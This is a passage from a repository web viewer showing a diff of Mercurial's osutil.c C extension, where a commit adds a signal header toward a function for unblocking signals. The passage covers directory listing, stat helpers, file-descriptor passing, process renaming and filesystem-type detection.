##// END OF EJS Templates
osutil: add a function to unblock signals...
Jun Wu -
r35476:8652ab40 default
parent child Browse files
Show More
@@ -1,1335 +1,1357 b''
1 1 /*
2 2 osutil.c - native operating system services
3 3
4 4 Copyright 2007 Matt Mackall and others
5 5
6 6 This software may be used and distributed according to the terms of
7 7 the GNU General Public License, incorporated herein by reference.
8 8 */
9 9
10 10 #define _ATFILE_SOURCE
11 11 #include <Python.h>
12 12 #include <errno.h>
13 13 #include <fcntl.h>
14 14 #include <stdio.h>
15 15 #include <stdlib.h>
16 16 #include <string.h>
17 17
18 18 #ifdef _WIN32
19 19 #include <io.h>
20 20 #include <windows.h>
21 21 #else
22 22 #include <dirent.h>
23 #include <signal.h>
23 24 #include <sys/socket.h>
24 25 #include <sys/stat.h>
25 26 #include <sys/types.h>
26 27 #include <unistd.h>
27 28 #ifdef HAVE_LINUX_STATFS
28 29 #include <linux/magic.h>
29 30 #include <sys/vfs.h>
30 31 #endif
31 32 #ifdef HAVE_BSD_STATFS
32 33 #include <sys/mount.h>
33 34 #include <sys/param.h>
34 35 #endif
35 36 #endif
36 37
37 38 #ifdef __APPLE__
38 39 #include <sys/attr.h>
39 40 #include <sys/vnode.h>
40 41 #endif
41 42
42 43 #include "util.h"
43 44
44 45 /* some platforms lack the PATH_MAX definition (eg. GNU/Hurd) */
45 46 #ifndef PATH_MAX
46 47 #define PATH_MAX 4096
47 48 #endif
48 49
49 50 #ifdef _WIN32
50 51 /*
51 52 stat struct compatible with hg expectations
52 53 Mercurial only uses st_mode, st_size and st_mtime
53 54 the rest is kept to minimize changes between implementations
54 55 */
55 56 struct hg_stat {
56 57 int st_dev;
57 58 int st_mode;
58 59 int st_nlink;
59 60 __int64 st_size;
60 61 int st_mtime;
61 62 int st_ctime;
62 63 };
63 64 struct listdir_stat {
64 65 PyObject_HEAD
65 66 struct hg_stat st;
66 67 };
67 68 #else
68 69 struct listdir_stat {
69 70 PyObject_HEAD
70 71 struct stat st;
71 72 };
72 73 #endif
73 74
74 75 #ifdef IS_PY3K
75 76 #define listdir_slot(name) \
76 77 static PyObject *listdir_stat_##name(PyObject *self, void *x) \
77 78 { \
78 79 return PyLong_FromLong(((struct listdir_stat *)self)->st.name); \
79 80 }
80 81 #else
81 82 #define listdir_slot(name) \
82 83 static PyObject *listdir_stat_##name(PyObject *self, void *x) \
83 84 { \
84 85 return PyInt_FromLong(((struct listdir_stat *)self)->st.name); \
85 86 }
86 87 #endif
87 88
88 89 listdir_slot(st_dev)
89 90 listdir_slot(st_mode)
90 91 listdir_slot(st_nlink)
91 92 #ifdef _WIN32
92 93 static PyObject *listdir_stat_st_size(PyObject *self, void *x)
93 94 {
94 95 return PyLong_FromLongLong(
95 96 (PY_LONG_LONG)((struct listdir_stat *)self)->st.st_size);
96 97 }
97 98 #else
98 99 listdir_slot(st_size)
99 100 #endif
100 101 listdir_slot(st_mtime)
101 102 listdir_slot(st_ctime)
102 103
103 104 static struct PyGetSetDef listdir_stat_getsets[] = {
104 105 {"st_dev", listdir_stat_st_dev, 0, 0, 0},
105 106 {"st_mode", listdir_stat_st_mode, 0, 0, 0},
106 107 {"st_nlink", listdir_stat_st_nlink, 0, 0, 0},
107 108 {"st_size", listdir_stat_st_size, 0, 0, 0},
108 109 {"st_mtime", listdir_stat_st_mtime, 0, 0, 0},
109 110 {"st_ctime", listdir_stat_st_ctime, 0, 0, 0},
110 111 {0, 0, 0, 0, 0}
111 112 };
112 113
113 114 static PyObject *listdir_stat_new(PyTypeObject *t, PyObject *a, PyObject *k)
114 115 {
115 116 return t->tp_alloc(t, 0);
116 117 }
117 118
118 119 static void listdir_stat_dealloc(PyObject *o)
119 120 {
120 121 o->ob_type->tp_free(o);
121 122 }
122 123
123 124 static PyTypeObject listdir_stat_type = {
124 125 PyVarObject_HEAD_INIT(NULL, 0) /* header */
125 126 "osutil.stat", /*tp_name*/
126 127 sizeof(struct listdir_stat), /*tp_basicsize*/
127 128 0, /*tp_itemsize*/
128 129 (destructor)listdir_stat_dealloc, /*tp_dealloc*/
129 130 0, /*tp_print*/
130 131 0, /*tp_getattr*/
131 132 0, /*tp_setattr*/
132 133 0, /*tp_compare*/
133 134 0, /*tp_repr*/
134 135 0, /*tp_as_number*/
135 136 0, /*tp_as_sequence*/
136 137 0, /*tp_as_mapping*/
137 138 0, /*tp_hash */
138 139 0, /*tp_call*/
139 140 0, /*tp_str*/
140 141 0, /*tp_getattro*/
141 142 0, /*tp_setattro*/
142 143 0, /*tp_as_buffer*/
143 144 Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/
144 145 "stat objects", /* tp_doc */
145 146 0, /* tp_traverse */
146 147 0, /* tp_clear */
147 148 0, /* tp_richcompare */
148 149 0, /* tp_weaklistoffset */
149 150 0, /* tp_iter */
150 151 0, /* tp_iternext */
151 152 0, /* tp_methods */
152 153 0, /* tp_members */
153 154 listdir_stat_getsets, /* tp_getset */
154 155 0, /* tp_base */
155 156 0, /* tp_dict */
156 157 0, /* tp_descr_get */
157 158 0, /* tp_descr_set */
158 159 0, /* tp_dictoffset */
159 160 0, /* tp_init */
160 161 0, /* tp_alloc */
161 162 listdir_stat_new, /* tp_new */
162 163 };
163 164
164 165 #ifdef _WIN32
165 166
166 167 static int to_python_time(const FILETIME *tm)
167 168 {
168 169 /* number of seconds between epoch and January 1 1601 */
169 170 const __int64 a0 = (__int64)134774L * (__int64)24L * (__int64)3600L;
170 171 /* conversion factor from 100ns to 1s */
171 172 const __int64 a1 = 10000000;
172 173 /* explicit (int) cast to suspend compiler warnings */
173 174 return (int)((((__int64)tm->dwHighDateTime << 32)
174 175 + tm->dwLowDateTime) / a1 - a0);
175 176 }
176 177
177 178 static PyObject *make_item(const WIN32_FIND_DATAA *fd, int wantstat)
178 179 {
179 180 PyObject *py_st;
180 181 struct hg_stat *stp;
181 182
182 183 int kind = (fd->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
183 184 ? _S_IFDIR : _S_IFREG;
184 185
185 186 if (!wantstat)
186 187 return Py_BuildValue("si", fd->cFileName, kind);
187 188
188 189 py_st = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
189 190 if (!py_st)
190 191 return NULL;
191 192
192 193 stp = &((struct listdir_stat *)py_st)->st;
193 194 /*
194 195 use kind as st_mode
195 196 rwx bits on Win32 are meaningless
196 197 and Hg does not use them anyway
197 198 */
198 199 stp->st_mode = kind;
199 200 stp->st_mtime = to_python_time(&fd->ftLastWriteTime);
200 201 stp->st_ctime = to_python_time(&fd->ftCreationTime);
201 202 if (kind == _S_IFREG)
202 203 stp->st_size = ((__int64)fd->nFileSizeHigh << 32)
203 204 + fd->nFileSizeLow;
204 205 return Py_BuildValue("siN", fd->cFileName,
205 206 kind, py_st);
206 207 }
207 208
208 209 static PyObject *_listdir(char *path, int plen, int wantstat, char *skip)
209 210 {
210 211 PyObject *rval = NULL; /* initialize - return value */
211 212 PyObject *list;
212 213 HANDLE fh;
213 214 WIN32_FIND_DATAA fd;
214 215 char *pattern;
215 216
216 217 /* build the path + \* pattern string */
217 218 pattern = PyMem_Malloc(plen + 3); /* path + \* + \0 */
218 219 if (!pattern) {
219 220 PyErr_NoMemory();
220 221 goto error_nomem;
221 222 }
222 223 memcpy(pattern, path, plen);
223 224
224 225 if (plen > 0) {
225 226 char c = path[plen-1];
226 227 if (c != ':' && c != '/' && c != '\\')
227 228 pattern[plen++] = '\\';
228 229 }
229 230 pattern[plen++] = '*';
230 231 pattern[plen] = '\0';
231 232
232 233 fh = FindFirstFileA(pattern, &fd);
233 234 if (fh == INVALID_HANDLE_VALUE) {
234 235 PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
235 236 goto error_file;
236 237 }
237 238
238 239 list = PyList_New(0);
239 240 if (!list)
240 241 goto error_list;
241 242
242 243 do {
243 244 PyObject *item;
244 245
245 246 if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
246 247 if (!strcmp(fd.cFileName, ".")
247 248 || !strcmp(fd.cFileName, ".."))
248 249 continue;
249 250
250 251 if (skip && !strcmp(fd.cFileName, skip)) {
251 252 rval = PyList_New(0);
252 253 goto error;
253 254 }
254 255 }
255 256
256 257 item = make_item(&fd, wantstat);
257 258 if (!item)
258 259 goto error;
259 260
260 261 if (PyList_Append(list, item)) {
261 262 Py_XDECREF(item);
262 263 goto error;
263 264 }
264 265
265 266 Py_XDECREF(item);
266 267 } while (FindNextFileA(fh, &fd));
267 268
268 269 if (GetLastError() != ERROR_NO_MORE_FILES) {
269 270 PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
270 271 goto error;
271 272 }
272 273
273 274 rval = list;
274 275 Py_XINCREF(rval);
275 276 error:
276 277 Py_XDECREF(list);
277 278 error_list:
278 279 FindClose(fh);
279 280 error_file:
280 281 PyMem_Free(pattern);
281 282 error_nomem:
282 283 return rval;
283 284 }
284 285
285 286 #else
286 287
287 288 int entkind(struct dirent *ent)
288 289 {
289 290 #ifdef DT_REG
290 291 switch (ent->d_type) {
291 292 case DT_REG: return S_IFREG;
292 293 case DT_DIR: return S_IFDIR;
293 294 case DT_LNK: return S_IFLNK;
294 295 case DT_BLK: return S_IFBLK;
295 296 case DT_CHR: return S_IFCHR;
296 297 case DT_FIFO: return S_IFIFO;
297 298 case DT_SOCK: return S_IFSOCK;
298 299 }
299 300 #endif
300 301 return -1;
301 302 }
302 303
303 304 static PyObject *makestat(const struct stat *st)
304 305 {
305 306 PyObject *stat;
306 307
307 308 stat = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
308 309 if (stat)
309 310 memcpy(&((struct listdir_stat *)stat)->st, st, sizeof(*st));
310 311 return stat;
311 312 }
312 313
313 314 static PyObject *_listdir_stat(char *path, int pathlen, int keepstat,
314 315 char *skip)
315 316 {
316 317 PyObject *list, *elem, *stat = NULL, *ret = NULL;
317 318 char fullpath[PATH_MAX + 10];
318 319 int kind, err;
319 320 struct stat st;
320 321 struct dirent *ent;
321 322 DIR *dir;
322 323 #ifdef AT_SYMLINK_NOFOLLOW
323 324 int dfd = -1;
324 325 #endif
325 326
326 327 if (pathlen >= PATH_MAX) {
327 328 errno = ENAMETOOLONG;
328 329 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
329 330 goto error_value;
330 331 }
331 332 strncpy(fullpath, path, PATH_MAX);
332 333 fullpath[pathlen] = '/';
333 334
334 335 #ifdef AT_SYMLINK_NOFOLLOW
335 336 dfd = open(path, O_RDONLY);
336 337 if (dfd == -1) {
337 338 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
338 339 goto error_value;
339 340 }
340 341 dir = fdopendir(dfd);
341 342 #else
342 343 dir = opendir(path);
343 344 #endif
344 345 if (!dir) {
345 346 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
346 347 goto error_dir;
347 348 }
348 349
349 350 list = PyList_New(0);
350 351 if (!list)
351 352 goto error_list;
352 353
353 354 while ((ent = readdir(dir))) {
354 355 if (!strcmp(ent->d_name, ".") || !strcmp(ent->d_name, ".."))
355 356 continue;
356 357
357 358 kind = entkind(ent);
358 359 if (kind == -1 || keepstat) {
359 360 #ifdef AT_SYMLINK_NOFOLLOW
360 361 err = fstatat(dfd, ent->d_name, &st,
361 362 AT_SYMLINK_NOFOLLOW);
362 363 #else
363 364 strncpy(fullpath + pathlen + 1, ent->d_name,
364 365 PATH_MAX - pathlen);
365 366 fullpath[PATH_MAX] = '\0';
366 367 err = lstat(fullpath, &st);
367 368 #endif
368 369 if (err == -1) {
369 370 /* race with file deletion? */
370 371 if (errno == ENOENT)
371 372 continue;
372 373 strncpy(fullpath + pathlen + 1, ent->d_name,
373 374 PATH_MAX - pathlen);
374 375 fullpath[PATH_MAX] = 0;
375 376 PyErr_SetFromErrnoWithFilename(PyExc_OSError,
376 377 fullpath);
377 378 goto error;
378 379 }
379 380 kind = st.st_mode & S_IFMT;
380 381 }
381 382
382 383 /* quit early? */
383 384 if (skip && kind == S_IFDIR && !strcmp(ent->d_name, skip)) {
384 385 ret = PyList_New(0);
385 386 goto error;
386 387 }
387 388
388 389 if (keepstat) {
389 390 stat = makestat(&st);
390 391 if (!stat)
391 392 goto error;
392 393 elem = Py_BuildValue("siN", ent->d_name, kind, stat);
393 394 } else
394 395 elem = Py_BuildValue("si", ent->d_name, kind);
395 396 if (!elem)
396 397 goto error;
397 398 stat = NULL;
398 399
399 400 PyList_Append(list, elem);
400 401 Py_DECREF(elem);
401 402 }
402 403
403 404 ret = list;
404 405 Py_INCREF(ret);
405 406
406 407 error:
407 408 Py_DECREF(list);
408 409 Py_XDECREF(stat);
409 410 error_list:
410 411 closedir(dir);
411 412 /* closedir also closes its dirfd */
412 413 goto error_value;
413 414 error_dir:
414 415 #ifdef AT_SYMLINK_NOFOLLOW
415 416 close(dfd);
416 417 #endif
417 418 error_value:
418 419 return ret;
419 420 }
420 421
421 422 #ifdef __APPLE__
422 423
423 424 typedef struct {
424 425 u_int32_t length;
425 426 attrreference_t name;
426 427 fsobj_type_t obj_type;
427 428 struct timespec mtime;
428 429 #if __LITTLE_ENDIAN__
429 430 mode_t access_mask;
430 431 uint16_t padding;
431 432 #else
432 433 uint16_t padding;
433 434 mode_t access_mask;
434 435 #endif
435 436 off_t size;
436 437 } __attribute__((packed)) attrbuf_entry;
437 438
438 439 int attrkind(attrbuf_entry *entry)
439 440 {
440 441 switch (entry->obj_type) {
441 442 case VREG: return S_IFREG;
442 443 case VDIR: return S_IFDIR;
443 444 case VLNK: return S_IFLNK;
444 445 case VBLK: return S_IFBLK;
445 446 case VCHR: return S_IFCHR;
446 447 case VFIFO: return S_IFIFO;
447 448 case VSOCK: return S_IFSOCK;
448 449 }
449 450 return -1;
450 451 }
451 452
452 453 /* get these many entries at a time */
453 454 #define LISTDIR_BATCH_SIZE 50
454 455
455 456 static PyObject *_listdir_batch(char *path, int pathlen, int keepstat,
456 457 char *skip, bool *fallback)
457 458 {
458 459 PyObject *list, *elem, *stat = NULL, *ret = NULL;
459 460 int kind, err;
460 461 unsigned long index;
461 462 unsigned int count, old_state, new_state;
462 463 bool state_seen = false;
463 464 attrbuf_entry *entry;
464 465 /* from the getattrlist(2) man page: a path can be no longer than
465 466 (NAME_MAX * 3 + 1) bytes. Also, "The getattrlist() function will
466 467 silently truncate attribute data if attrBufSize is too small." So
467 468 pass in a buffer big enough for the worst case. */
468 469 char attrbuf[LISTDIR_BATCH_SIZE * (sizeof(attrbuf_entry) + NAME_MAX * 3 + 1)];
469 470 unsigned int basep_unused;
470 471
471 472 struct stat st;
472 473 int dfd = -1;
473 474
474 475 /* these must match the attrbuf_entry struct, otherwise you'll end up
475 476 with garbage */
476 477 struct attrlist requested_attr = {0};
477 478 requested_attr.bitmapcount = ATTR_BIT_MAP_COUNT;
478 479 requested_attr.commonattr = (ATTR_CMN_NAME | ATTR_CMN_OBJTYPE |
479 480 ATTR_CMN_MODTIME | ATTR_CMN_ACCESSMASK);
480 481 requested_attr.fileattr = ATTR_FILE_DATALENGTH;
481 482
482 483 *fallback = false;
483 484
484 485 if (pathlen >= PATH_MAX) {
485 486 errno = ENAMETOOLONG;
486 487 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
487 488 goto error_value;
488 489 }
489 490
490 491 dfd = open(path, O_RDONLY);
491 492 if (dfd == -1) {
492 493 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
493 494 goto error_value;
494 495 }
495 496
496 497 list = PyList_New(0);
497 498 if (!list)
498 499 goto error_dir;
499 500
500 501 do {
501 502 count = LISTDIR_BATCH_SIZE;
502 503 err = getdirentriesattr(dfd, &requested_attr, &attrbuf,
503 504 sizeof(attrbuf), &count, &basep_unused,
504 505 &new_state, 0);
505 506 if (err < 0) {
506 507 if (errno == ENOTSUP) {
507 508 /* We're on a filesystem that doesn't support
508 509 getdirentriesattr. Fall back to the
509 510 stat-based implementation. */
510 511 *fallback = true;
511 512 } else
512 513 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
513 514 goto error;
514 515 }
515 516
516 517 if (!state_seen) {
517 518 old_state = new_state;
518 519 state_seen = true;
519 520 } else if (old_state != new_state) {
520 521 /* There's an edge case with getdirentriesattr. Consider
521 522 the following initial list of files:
522 523
523 524 a
524 525 b
525 526 <--
526 527 c
527 528 d
528 529
529 530 If the iteration is paused at the arrow, and b is
530 531 deleted before it is resumed, getdirentriesattr will
531 532 not return d at all! Ordinarily we're expected to
532 533 restart the iteration from the beginning. To avoid
533 534 getting stuck in a retry loop here, fall back to
534 535 stat. */
535 536 *fallback = true;
536 537 goto error;
537 538 }
538 539
539 540 entry = (attrbuf_entry *)attrbuf;
540 541
541 542 for (index = 0; index < count; index++) {
542 543 char *filename = ((char *)&entry->name) +
543 544 entry->name.attr_dataoffset;
544 545
545 546 if (!strcmp(filename, ".") || !strcmp(filename, ".."))
546 547 continue;
547 548
548 549 kind = attrkind(entry);
549 550 if (kind == -1) {
550 551 PyErr_Format(PyExc_OSError,
551 552 "unknown object type %u for file "
552 553 "%s%s!",
553 554 entry->obj_type, path, filename);
554 555 goto error;
555 556 }
556 557
557 558 /* quit early? */
558 559 if (skip && kind == S_IFDIR && !strcmp(filename, skip)) {
559 560 ret = PyList_New(0);
560 561 goto error;
561 562 }
562 563
563 564 if (keepstat) {
564 565 /* from the getattrlist(2) man page: "Only the
565 566 permission bits ... are valid". */
566 567 st.st_mode = (entry->access_mask & ~S_IFMT) | kind;
567 568 st.st_mtime = entry->mtime.tv_sec;
568 569 st.st_size = entry->size;
569 570 stat = makestat(&st);
570 571 if (!stat)
571 572 goto error;
572 573 elem = Py_BuildValue("siN", filename, kind, stat);
573 574 } else
574 575 elem = Py_BuildValue("si", filename, kind);
575 576 if (!elem)
576 577 goto error;
577 578 stat = NULL;
578 579
579 580 PyList_Append(list, elem);
580 581 Py_DECREF(elem);
581 582
582 583 entry = (attrbuf_entry *)((char *)entry + entry->length);
583 584 }
584 585 } while (err == 0);
585 586
586 587 ret = list;
587 588 Py_INCREF(ret);
588 589
589 590 error:
590 591 Py_DECREF(list);
591 592 Py_XDECREF(stat);
592 593 error_dir:
593 594 close(dfd);
594 595 error_value:
595 596 return ret;
596 597 }
597 598
598 599 #endif /* __APPLE__ */
599 600
600 601 static PyObject *_listdir(char *path, int pathlen, int keepstat, char *skip)
601 602 {
602 603 #ifdef __APPLE__
603 604 PyObject *ret;
604 605 bool fallback = false;
605 606
606 607 ret = _listdir_batch(path, pathlen, keepstat, skip, &fallback);
607 608 if (ret != NULL || !fallback)
608 609 return ret;
609 610 #endif
610 611 return _listdir_stat(path, pathlen, keepstat, skip);
611 612 }
612 613
613 614 static PyObject *statfiles(PyObject *self, PyObject *args)
614 615 {
615 616 PyObject *names, *stats;
616 617 Py_ssize_t i, count;
617 618
618 619 if (!PyArg_ParseTuple(args, "O:statfiles", &names))
619 620 return NULL;
620 621
621 622 count = PySequence_Length(names);
622 623 if (count == -1) {
623 624 PyErr_SetString(PyExc_TypeError, "not a sequence");
624 625 return NULL;
625 626 }
626 627
627 628 stats = PyList_New(count);
628 629 if (stats == NULL)
629 630 return NULL;
630 631
631 632 for (i = 0; i < count; i++) {
632 633 PyObject *stat, *pypath;
633 634 struct stat st;
634 635 int ret, kind;
635 636 char *path;
636 637
637 638 /* With a large file count or on a slow filesystem,
638 639 don't block signals for long (issue4878). */
639 640 if ((i % 1000) == 999 && PyErr_CheckSignals() == -1)
640 641 goto bail;
641 642
642 643 pypath = PySequence_GetItem(names, i);
643 644 if (!pypath)
644 645 goto bail;
645 646 path = PyBytes_AsString(pypath);
646 647 if (path == NULL) {
647 648 Py_DECREF(pypath);
648 649 PyErr_SetString(PyExc_TypeError, "not a string");
649 650 goto bail;
650 651 }
651 652 ret = lstat(path, &st);
652 653 Py_DECREF(pypath);
653 654 kind = st.st_mode & S_IFMT;
654 655 if (ret != -1 && (kind == S_IFREG || kind == S_IFLNK)) {
655 656 stat = makestat(&st);
656 657 if (stat == NULL)
657 658 goto bail;
658 659 PyList_SET_ITEM(stats, i, stat);
659 660 } else {
660 661 Py_INCREF(Py_None);
661 662 PyList_SET_ITEM(stats, i, Py_None);
662 663 }
663 664 }
664 665
665 666 return stats;
666 667
667 668 bail:
668 669 Py_DECREF(stats);
669 670 return NULL;
670 671 }
671 672
672 673 /*
673 674 * recvfds() simply does not release GIL during blocking io operation because
674 675 * command server is known to be single-threaded.
675 676 *
676 677 * Old systems such as Solaris don't provide CMSG_LEN, msg_control, etc.
677 678 * Currently, recvfds() is not supported on these platforms.
678 679 */
679 680 #ifdef CMSG_LEN
680 681
681 682 static ssize_t recvfdstobuf(int sockfd, int **rfds, void *cbuf, size_t cbufsize)
682 683 {
683 684 char dummy[1];
684 685 struct iovec iov = {dummy, sizeof(dummy)};
685 686 struct msghdr msgh = {0};
686 687 struct cmsghdr *cmsg;
687 688
688 689 msgh.msg_iov = &iov;
689 690 msgh.msg_iovlen = 1;
690 691 msgh.msg_control = cbuf;
691 692 msgh.msg_controllen = (socklen_t)cbufsize;
692 693 if (recvmsg(sockfd, &msgh, 0) < 0)
693 694 return -1;
694 695
695 696 for (cmsg = CMSG_FIRSTHDR(&msgh); cmsg;
696 697 cmsg = CMSG_NXTHDR(&msgh, cmsg)) {
697 698 if (cmsg->cmsg_level != SOL_SOCKET ||
698 699 cmsg->cmsg_type != SCM_RIGHTS)
699 700 continue;
700 701 *rfds = (int *)CMSG_DATA(cmsg);
701 702 return (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int);
702 703 }
703 704
704 705 *rfds = cbuf;
705 706 return 0;
706 707 }
707 708
708 709 static PyObject *recvfds(PyObject *self, PyObject *args)
709 710 {
710 711 int sockfd;
711 712 int *rfds = NULL;
712 713 ssize_t rfdscount, i;
713 714 char cbuf[256];
714 715 PyObject *rfdslist = NULL;
715 716
716 717 if (!PyArg_ParseTuple(args, "i", &sockfd))
717 718 return NULL;
718 719
719 720 rfdscount = recvfdstobuf(sockfd, &rfds, cbuf, sizeof(cbuf));
720 721 if (rfdscount < 0)
721 722 return PyErr_SetFromErrno(PyExc_OSError);
722 723
723 724 rfdslist = PyList_New(rfdscount);
724 725 if (!rfdslist)
725 726 goto bail;
726 727 for (i = 0; i < rfdscount; i++) {
727 728 PyObject *obj = PyLong_FromLong(rfds[i]);
728 729 if (!obj)
729 730 goto bail;
730 731 PyList_SET_ITEM(rfdslist, i, obj);
731 732 }
732 733 return rfdslist;
733 734
734 735 bail:
735 736 Py_XDECREF(rfdslist);
736 737 return NULL;
737 738 }
738 739
739 740 #endif /* CMSG_LEN */
740 741
741 742 #if defined(HAVE_SETPROCTITLE)
742 743 /* setproctitle is the first choice - available in FreeBSD */
743 744 #define SETPROCNAME_USE_SETPROCTITLE
744 745 #elif (defined(__linux__) || defined(__APPLE__)) && PY_MAJOR_VERSION == 2
745 746 /* rewrite the argv buffer in place - works in Linux and OS X. Py_GetArgcArgv
746 747 * in Python 3 returns the copied wchar_t **argv, thus unsupported. */
747 748 #define SETPROCNAME_USE_ARGVREWRITE
748 749 #else
749 750 #define SETPROCNAME_USE_NONE
750 751 #endif
751 752
752 753 #ifndef SETPROCNAME_USE_NONE
753 754 static PyObject *setprocname(PyObject *self, PyObject *args)
754 755 {
755 756 const char *name = NULL;
756 757 if (!PyArg_ParseTuple(args, "s", &name))
757 758 return NULL;
758 759
759 760 #if defined(SETPROCNAME_USE_SETPROCTITLE)
760 761 setproctitle("%s", name);
761 762 #elif defined(SETPROCNAME_USE_ARGVREWRITE)
762 763 {
763 764 static char *argvstart = NULL;
764 765 static size_t argvsize = 0;
765 766 if (argvstart == NULL) {
766 767 int argc = 0, i;
767 768 char **argv = NULL;
768 769 char *argvend;
769 770 extern void Py_GetArgcArgv(int *argc, char ***argv);
770 771 Py_GetArgcArgv(&argc, &argv);
771 772
772 773 /* Check the memory we can use. Typically, argv[i] and
773 774 * argv[i + 1] are continuous. */
774 775 argvend = argvstart = argv[0];
775 776 for (i = 0; i < argc; ++i) {
776 777 if (argv[i] > argvend || argv[i] < argvstart)
777 778 break; /* not continuous */
778 779 size_t len = strlen(argv[i]);
779 780 argvend = argv[i] + len + 1 /* '\0' */;
780 781 }
781 782 if (argvend > argvstart) /* sanity check */
782 783 argvsize = argvend - argvstart;
783 784 }
784 785
785 786 if (argvstart && argvsize > 1) {
786 787 int n = snprintf(argvstart, argvsize, "%s", name);
787 788 if (n >= 0 && (size_t)n < argvsize)
788 789 memset(argvstart + n, 0, argvsize - n);
789 790 }
790 791 }
791 792 #endif
792 793
793 794 Py_RETURN_NONE;
794 795 }
795 796 #endif /* ndef SETPROCNAME_USE_NONE */
796 797
797 798 #if defined(HAVE_BSD_STATFS)
798 799 static const char *describefstype(const struct statfs *pbuf)
799 800 {
800 801 /* BSD or OSX provides a f_fstypename field */
801 802 return pbuf->f_fstypename;
802 803 }
803 804 #elif defined(HAVE_LINUX_STATFS)
804 805 static const char *describefstype(const struct statfs *pbuf)
805 806 {
806 807 /* Begin of Linux filesystems */
807 808 #ifdef ADFS_SUPER_MAGIC
808 809 if (pbuf->f_type == ADFS_SUPER_MAGIC)
809 810 return "adfs";
810 811 #endif
811 812 #ifdef AFFS_SUPER_MAGIC
812 813 if (pbuf->f_type == AFFS_SUPER_MAGIC)
813 814 return "affs";
814 815 #endif
815 816 #ifdef AUTOFS_SUPER_MAGIC
816 817 if (pbuf->f_type == AUTOFS_SUPER_MAGIC)
817 818 return "autofs";
818 819 #endif
819 820 #ifdef BDEVFS_MAGIC
820 821 if (pbuf->f_type == BDEVFS_MAGIC)
821 822 return "bdevfs";
822 823 #endif
823 824 #ifdef BEFS_SUPER_MAGIC
824 825 if (pbuf->f_type == BEFS_SUPER_MAGIC)
825 826 return "befs";
826 827 #endif
827 828 #ifdef BFS_MAGIC
828 829 if (pbuf->f_type == BFS_MAGIC)
829 830 return "bfs";
830 831 #endif
831 832 #ifdef BINFMTFS_MAGIC
832 833 if (pbuf->f_type == BINFMTFS_MAGIC)
833 834 return "binfmtfs";
834 835 #endif
835 836 #ifdef BTRFS_SUPER_MAGIC
836 837 if (pbuf->f_type == BTRFS_SUPER_MAGIC)
837 838 return "btrfs";
838 839 #endif
839 840 #ifdef CGROUP_SUPER_MAGIC
840 841 if (pbuf->f_type == CGROUP_SUPER_MAGIC)
841 842 return "cgroup";
842 843 #endif
843 844 #ifdef CIFS_MAGIC_NUMBER
844 845 if (pbuf->f_type == CIFS_MAGIC_NUMBER)
845 846 return "cifs";
846 847 #endif
847 848 #ifdef CODA_SUPER_MAGIC
848 849 if (pbuf->f_type == CODA_SUPER_MAGIC)
849 850 return "coda";
850 851 #endif
851 852 #ifdef COH_SUPER_MAGIC
852 853 if (pbuf->f_type == COH_SUPER_MAGIC)
853 854 return "coh";
854 855 #endif
855 856 #ifdef CRAMFS_MAGIC
856 857 if (pbuf->f_type == CRAMFS_MAGIC)
857 858 return "cramfs";
858 859 #endif
859 860 #ifdef DEBUGFS_MAGIC
860 861 if (pbuf->f_type == DEBUGFS_MAGIC)
861 862 return "debugfs";
862 863 #endif
863 864 #ifdef DEVFS_SUPER_MAGIC
864 865 if (pbuf->f_type == DEVFS_SUPER_MAGIC)
865 866 return "devfs";
866 867 #endif
867 868 #ifdef DEVPTS_SUPER_MAGIC
868 869 if (pbuf->f_type == DEVPTS_SUPER_MAGIC)
869 870 return "devpts";
870 871 #endif
871 872 #ifdef EFIVARFS_MAGIC
872 873 if (pbuf->f_type == EFIVARFS_MAGIC)
873 874 return "efivarfs";
874 875 #endif
875 876 #ifdef EFS_SUPER_MAGIC
876 877 if (pbuf->f_type == EFS_SUPER_MAGIC)
877 878 return "efs";
878 879 #endif
879 880 #ifdef EXT_SUPER_MAGIC
880 881 if (pbuf->f_type == EXT_SUPER_MAGIC)
881 882 return "ext";
882 883 #endif
883 884 #ifdef EXT2_OLD_SUPER_MAGIC
884 885 if (pbuf->f_type == EXT2_OLD_SUPER_MAGIC)
885 886 return "ext2";
886 887 #endif
887 888 #ifdef EXT2_SUPER_MAGIC
888 889 if (pbuf->f_type == EXT2_SUPER_MAGIC)
889 890 return "ext2";
890 891 #endif
891 892 #ifdef EXT3_SUPER_MAGIC
892 893 if (pbuf->f_type == EXT3_SUPER_MAGIC)
893 894 return "ext3";
894 895 #endif
895 896 #ifdef EXT4_SUPER_MAGIC
896 897 if (pbuf->f_type == EXT4_SUPER_MAGIC)
897 898 return "ext4";
898 899 #endif
899 900 #ifdef F2FS_SUPER_MAGIC
900 901 if (pbuf->f_type == F2FS_SUPER_MAGIC)
901 902 return "f2fs";
902 903 #endif
903 904 #ifdef FUSE_SUPER_MAGIC
904 905 if (pbuf->f_type == FUSE_SUPER_MAGIC)
905 906 return "fuse";
906 907 #endif
907 908 #ifdef FUTEXFS_SUPER_MAGIC
908 909 if (pbuf->f_type == FUTEXFS_SUPER_MAGIC)
909 910 return "futexfs";
910 911 #endif
911 912 #ifdef HFS_SUPER_MAGIC
912 913 if (pbuf->f_type == HFS_SUPER_MAGIC)
913 914 return "hfs";
914 915 #endif
915 916 #ifdef HOSTFS_SUPER_MAGIC
916 917 if (pbuf->f_type == HOSTFS_SUPER_MAGIC)
917 918 return "hostfs";
918 919 #endif
919 920 #ifdef HPFS_SUPER_MAGIC
920 921 if (pbuf->f_type == HPFS_SUPER_MAGIC)
921 922 return "hpfs";
922 923 #endif
923 924 #ifdef HUGETLBFS_MAGIC
924 925 if (pbuf->f_type == HUGETLBFS_MAGIC)
925 926 return "hugetlbfs";
926 927 #endif
927 928 #ifdef ISOFS_SUPER_MAGIC
928 929 if (pbuf->f_type == ISOFS_SUPER_MAGIC)
929 930 return "isofs";
930 931 #endif
